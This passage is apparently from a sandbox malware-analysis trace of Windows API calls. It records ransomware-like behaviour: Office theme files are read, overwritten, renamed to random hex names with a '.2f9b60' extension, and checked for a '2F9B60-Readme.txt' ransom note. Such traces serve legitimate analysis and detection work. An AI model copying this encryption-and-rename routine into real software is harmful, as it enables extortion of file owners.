lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.848] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.851] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x7e9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0110.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0110.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.853] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced97f0 [0110.864] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.864] WriteFile (in: hFile=0x15e0, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3364f890, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x3364f890*=0x14e, lpOverlapped=0x0) returned 1 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0110.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7c70 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0110.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0110.871] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="71") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="e5") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="08") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="b2") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="f9") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="fe") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="25") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="bc") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="88") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="71") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="46") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="5d") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="a4") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="bd") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="58") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="00") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="9c") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="2b") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="b2") returned 2 [0110.871] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="8a") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="64") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="8d") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="c7") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="fa") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="6a") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="86") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="e2") returned 2 [0110.872] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="17") returned 2 [0110.872] RtlInitAnsiString (in: DestinationString=0x3364f908, SourceString="71e508b2f9fe25bc8871465da4bd58009c2bb28a648dc7fa6a86e217" | out: DestinationString="71e508b2f9fe25bc8871465da4bd58009c2bb28a648dc7fa6a86e217") [0110.872] RtlAnsiStringToUnicodeString (in: DestinationString=0x3364f8d8, SourceString="71e508b2f9fe25bc8871465da4bd58009c2bb28a648dc7fa6a86e217", AllocateDestinationString=1 | out: DestinationString="71e508b2f9fe25bc8871465da4bd58009c2bb28a648dc7fa6a86e217") returned 0x0 [0110.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0110.872] wcscat (in: _Dest=0x20279a30, _Source="71e508b2f9fe25" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25" [0110.872] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25.2f9b60" [0110.872] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25.2f9b60", NtPathName=0x3364f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\71e508b2f9fe25.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0110.873] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3364f950, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0110.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.875] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x3364f918, FileInformation=0x3364f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3364f918, FileInformation=0x3364f928) returned 0x0 [0110.875] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3364f918, FileInformation=0x3364f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.878] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.879] CloseHandle (hObject=0x15e0) returned 1 [0110.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.898] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.898] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd649a0) returned 1 Thread: id = 1062 os_tid = 0x1740 [0110.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0110.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx", dwFileAttributes=0x20) returned 1 [0110.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.820] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x1e66fb00 | out: lpFileSize=0x1e66fb00*=22417) returned 1 [0110.820] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x578d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.820] ReadFile (in: hFile=0x1574, lpBuffer=0x1e66fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e66fac8, lpOverlapped=0x0 | out: lpBuffer=0x1e66fa80*, lpNumberOfBytesRead=0x1e66fac8*=0x4, lpOverlapped=0x0) returned 1 [0110.823] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.824] NtQuerySystemTime (in: CurrentTime=0x1e66f9c0 | out: CurrentTime=0x1e66f9c0*=132462177163054000) returned 0x0 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x2d202ebb [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x22cad19c [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x6660df54 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x6e13e26c [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x2266680d [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0xd04c981 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x41354922 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x78cc1d5f [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0xbc0d427 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x43909902 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x5b320683 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x7c19c3a0 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x32c7478a [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x6bb77026 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x28155714 [0110.824] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x512a95c2 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x36115f91 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x777209b9 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x2052cde3 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x5546a084 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x8b14dc4 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x408ee106 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x311ff433 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x6d632be3 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x1faf876b [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x1de4ec16 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x8973612 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x2c711504 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x1b41fe44 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x1f7a73bd [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x51946943 [0110.825] RtlRandomEx (in: Seed=0x1e66f9b0 | out: Seed=0x1e66f9b0) returned 0x18c26ca7 [0110.833] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.833] ReadFile (in: hFile=0x1574, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e66fa20, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x1e66fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0110.848] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0110.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.850] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e66fa20, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x1e66fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0110.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0110.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f070 [0110.854] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.854] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x1e66fad0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x1e66fad0*=0x10e, lpOverlapped=0x0) returned 1 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a30) returned 1 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7a30 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b80 [0110.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b80) returned 1 [0110.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0110.857] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="d3") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="0b") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="1c") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="45") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="30") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="46") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="3d") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="e0") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="b2") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="52") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="8d") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="2d") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="dd") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="f2") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="f0") returned 2 [0110.857] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="71") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="50") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="25") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="d1") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="12") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="c9") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="cd") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="4e") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="56") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="ea") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="b6") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="db") returned 2 [0110.858] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="63") returned 2 [0110.858] RtlInitAnsiString (in: DestinationString=0x1e66fb48, SourceString="d30b1c4530463de0b2528d2dddf2f0715025d112c9cd4e56eab6db63" | out: DestinationString="d30b1c4530463de0b2528d2dddf2f0715025d112c9cd4e56eab6db63") [0110.858] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e66fb18, SourceString="d30b1c4530463de0b2528d2dddf2f0715025d112c9cd4e56eab6db63", AllocateDestinationString=1 | out: DestinationString="d30b1c4530463de0b2528d2dddf2f0715025d112c9cd4e56eab6db63") returned 0x0 [0110.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869f40 [0110.859] wcscat (in: _Dest=0x20279a30, _Source="d30b1c4530463d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d" [0110.859] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d.2f9b60" [0110.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d.2f9b60", NtPathName=0x1e66faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\d30b1c4530463d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0110.859] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1e66fb90, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0110.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.860] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x1e66fb58, FileInformation=0x1e66fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e66fb58, FileInformation=0x1e66fb68) returned 0x0 [0110.860] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1e66fb58, FileInformation=0x1e66fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.862] FlushFileBuffers (hFile=0x1574) returned 1 [0110.865] CloseHandle (hObject=0x1574) returned 1 [0110.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.866] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.866] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64a50) returned 1 Thread: id = 1063 os_tid = 0x1744 [0110.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0110.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx", dwFileAttributes=0x20) returned 1 [0110.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.883] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x1f37fce0 | out: lpFileSize=0x1f37fce0*=1967905) returned 1 [0110.883] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x1e071d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.883] ReadFile (in: hFile=0x1574, lpBuffer=0x1f37fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f37fca8, lpOverlapped=0x0 | out: lpBuffer=0x1f37fc60*, lpNumberOfBytesRead=0x1f37fca8*=0x4, lpOverlapped=0x0) returned 1 [0110.901] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 